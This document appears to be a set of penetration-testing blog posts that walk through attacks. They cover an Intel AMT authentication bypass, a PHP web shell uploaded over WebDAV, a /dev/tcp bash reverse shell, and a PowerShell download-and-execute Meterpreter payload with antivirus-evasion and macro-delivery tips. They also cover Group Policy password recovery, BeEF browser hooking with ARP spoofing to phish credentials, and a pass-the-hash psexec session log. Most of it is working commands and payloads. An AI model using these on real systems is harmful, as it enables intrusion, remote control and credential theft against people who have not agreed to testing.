Exploiting the Intel AMT Vulnerability with Burp Suite

On a somewhat recent engagement I discovered a number of open ports that I was not immediately familiar with. When this happens, I’ve found that it (almost) always pays to explore further… We can see that this range of ports is open on a number of hosts on this particular subnet. Additionally, as it turned out, there were many other hosts on other subnets also listening within this port range as well.


A more in-depth, nmap service scan provides us with more additional information about the service.

capture 2

A quick google search leads us to: https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr

Based on the httpd version number, all indications point to this host being vulnerable to CVE-2017-5689. Another nmap scan can validate this for us:


Now that we know our host is actually vulnerable the next step is figuring out how to exploit it. If you notice above, we can see that it says “…can be exploited by performing digest authentication and *sending a blank response*…”

Armed with this information, we can fire up Burp Suite and attempt to exploit the vulnerability. However, first, we need to hit the login page on our host:

capture 4

With Burp Suite now open AND “intercept” turned on (see below), we can input “admin” into the username field and click “ok”. We should see a response in the RAW data (see below)

capture 5

Next, we need to modify the “response” data and eliminate everything so that it’s blank:

capture 6

When we click the “Forward” button in Burp Suite (see bottom right of below screen shot), it should send our blank response back to the host and we should now be logged in – as seen here:

capture 7

Note: every time you switch between menu items within the AMT management console, you will need to blank out the digest response and “forward” the blank response back to the host – otherwise, you will be unable to navigate throughout the console. As a result, you’ll need to keep Burp Suite running side by site or easily accessible in the background.


PHP Backdoor + Reverse Shell on Vulnerable Website

The goal here is show one method for examining a public IP address to determine if it is running any vulnerable services that are exploitable.

Target IP: X.X.X.X (IP address purposely hidden)

First we have to do some basic discovery on our IP to determine what services are running. The nmap command used is: proxychains nmap <ip address> -v -Pn -sT -A


We can see that the target IP is listening on ports 22 (ssh) and 80 (web). For now, we’ll focus on port 80.

Next we scan the website using nikto, dirb, uniscan and w3af.  Nikto didn’t really turn up much, but dirb tells us that a folder exists called test. Uniscan also turned up some helpful info but each tool is different and useful in varying ways depending on what you’re trying to accomplish.  I recommend trying them all against your target.


Now that we have a know a bit more about our target, we can use curl to glean more useful information about the “test” folder:

proxychains curl -X OPTIONS -v http://X.X.X.X/test/


Based on the response of the OPTIONS verb on the /test directory, it looks like it has WebDAV enabled. Using “PUT” we may be able to upload a backdoor to this folder.

First, we need to create a new file on our box and add the following line:

<?php echo system($_GET[“cmd”]); ?>

Next, we attempt to upload our php backdoor to our target using the following command:

proxychains curl –upload-file /root/Desktop/cmd.php -v –url http://X.X.X.X/test/cmd.php -0 –http1.0


We can see that our backdoor was successfully uploaded.  Now, we can use our backdoor to (hopefully) run commands directly on the webserver.  For example, running the following command from a web browser will give us a directory listing:


Capture4Using curl, we could also upload a bash shell script and then use our backdoor to give us a reverse shell on the webserver. The script file contains the following code:

exec 5<>/dev/tcp/
cat <&5 | while read line; do $line 2>&5 >&5; done

Now we upload it:


Now on our public facing box, and before we can receive our shell, we need to setup a listener on port 443 using the following command:

nc -lvp 443


Then, at the website, we can now run our script via our backdoor:


We should now have our reverse bash shell, as seen below:



Evading Antivirus + Reverse Meterpreter Shell

The below steps can help us evade antivirus software on the victim’s Windows box as we setup a meterpreter shell back to our server across the Internet.  This technique works extremely well because nothing is downloaded to the victim’s computer and uses only Powershell on the victim’s machine.

The most difficult part is executing the Powershell code (seen below) on the victim’s computer but a good tactic to consider would be to embed the code into a macro enabled Excel document (if you don’t have internal access) or injecting a malicious executable into the victim’s packet stream after a MitM type attack on the LAN (mitmproxy, back door factory, etc). Obviously, there are lots of methods for delivering the payload, which are not covered here.

On our Internet facing Ubuntu box (with Metasploit installed), we run the following command:

./msfconsole -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST; set PORT 8443; run”

This will one-liner will fire up Metasploit while also setting up the multi handler we need to catch the meterpreter payload coming from the victim. We also need to make sure we have port 8443 (in this example) forwarded to our box.



The code to run on the victim’s PC is below.  In this example, I’ve opened a command prompt window and pasted in the necessary code:

powershell -nop -windowstyle hidden -NonInteractive -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1 ‘);invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost 52.37.4X.XXX -Lport 8443″

The below Powershell command will use Powershell to download and execute Invoke-Shellcode all within memory with no files being written to disk.  This is how we are able to evade most antivirus software.


We see on our Metasploit box that we now have an incoming connection and that we’re easily able to obtain our shell:



Active Directory & Group Policy Privilege Escalation Vulnerability

So you’ve had a successful phishing trip and obtained a shell on a target machine that is joined up a Windows domain. Obviously, the goal is escalate privileges and pivot across the network…which is easier said than done.  This is just one technique (of many) to consider employing on your travels.

We can see below that the target computer’ s domain controller is CN-DC04.


We should now map a drive to the sysvol share on the DC.


We are ultimately trying to find groups.xml, which can be done by using the command below:


Once found, we want to identify the one with the most recent date.


Once we’ve found the file we want, we need to enter the below command: Type groups.xml

Inside this file, if we’re lucky, we’ll be able to determine the name of a local administrator account (redacted in the picture below) and also an encrypted password (in the red box, but also redacted).


Using a tool like gpp-decrypt in Kali Linux, we can easily determine the password.


In a nutshell, organizations should not use Group Policy Preferences to manage local administrator passwords for domain computers.  Instead they should use something like Microsoft LAPS, which is significantly more secure. In addition, Microsoft LAPS will ensure that all of the local administrator passwords are changed on a regular basis AND also randomized on each domain joined machine.  Those credentials are then stored in Active Directory.

Browser Hooking + Credential Theft

The purpose of this post is to demonstrate how credentials can be stolen by combining 3 techniques: Man-in-The-Middle (MiTM) attack, Browser Hooking, and Social Engineering.

The setup here is that an attacker has (theoretically) gained access to the victim’s network.  Obviously there are many ways this could be accomplished but it could be as simple as the attacker and the victim using the same wireless network at a coffee shop.

Attacker box is running Kali Linux with an IP address of
Victim is running a fully patched Windows 7 OS with fully patched IE 11  with an IP address of

The first thing we do is start up the BeEF Framework on our Kali box. BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.


After it’s running, we need to make note of the “Hook URL” and the “UI URL” that begin with 172.X.X.X.


We login to the BeEF Framework website by browsing to the “UI URL” that we made note of in the previous step.  The default username/password is: beef/beef


Once logged in, we see the below screen.


Inside another terminal (don’t close the one used to start up BeEF), we need to discover the default gateway on the network and also a victim in order to perform the MiTM attack. The below command will give us the info we need.


We can also now nmap the subnet to find a suitable victim.


Rather than unnecessarily disclose an entire subnet’s worth of devices for this post, I’m choosing to focus on my Windows 7 test box, which is listed below.


We now have sufficient information to implement our MiTM attack while also simultaneously injecting the “Hook URL” into the victim’s packet stream. The technique used to achieve the MiTM attack is a simple ARP spoof.  MiTMf (as seen in the terminal window below) is the tool used to achieve both attacks.  I don’t believe this comes with Kali Linux and  can be downloaded/installed using apt-get install mitmf (I think).


Below is the output of the executed command.


On our Windows 7 box, we can see/verify/note it’s IP configuration.


Again, on our Window’s 7 box, we open IE 11 – which stupidly defaults to non-secured MSN homepage…


As we do that, we can see on our Kali box that the browser has now been effectively “hooked”.


Now that the browser has been hooked, we have many options available to use within the BeEF Framework. Below I’ve chosen to use a module that will attempt to “trick” (social engineering) the victim into inputting their Facebook credentials into a pop-up window.


Back on our Windows 7 box, we see that the browser has been presented the victim with the credential box.


If the victim inputs anything into the input fields, that data is captured and able to viewed within BeEF – as seen below.


Pass The Hash Reverse Shell With Metasploit


root@kali:/usr/bin# ./msfconsole
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost
lhost =>
msf exploit(psexec) > set rhost
rhost =>
msf exploit(psexec) > set smbpass 00000000000000000000000000000000:b048b97d9fdb66d3d2ed72b3782847a4
smbpass => 00000000000000000000000000000000:b048b97d9fdb66d3d2ed72b3782847a4
msf exploit(psexec) > set smbuser administrator
smbuser => administrator
msf exploit(psexec) > set smbdomain test
smbdomain => test
msf exploit(psexec) > exploit

[*] Started reverse TCP handler on
[*] Connecting to the server…
[*] Authenticating to|test as user ‘administrator’…
[*] Selecting PowerShell target
[*] – Executing the payload…
[+] – Service start timed out, OK if running a command or non-service executable…
[*] Sending stage (957487 bytes) to
[*] Meterpreter session 1 opened ( -> at 2016-03-09 16:44:58 -0500

meterpreter > shell
Process 2212 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.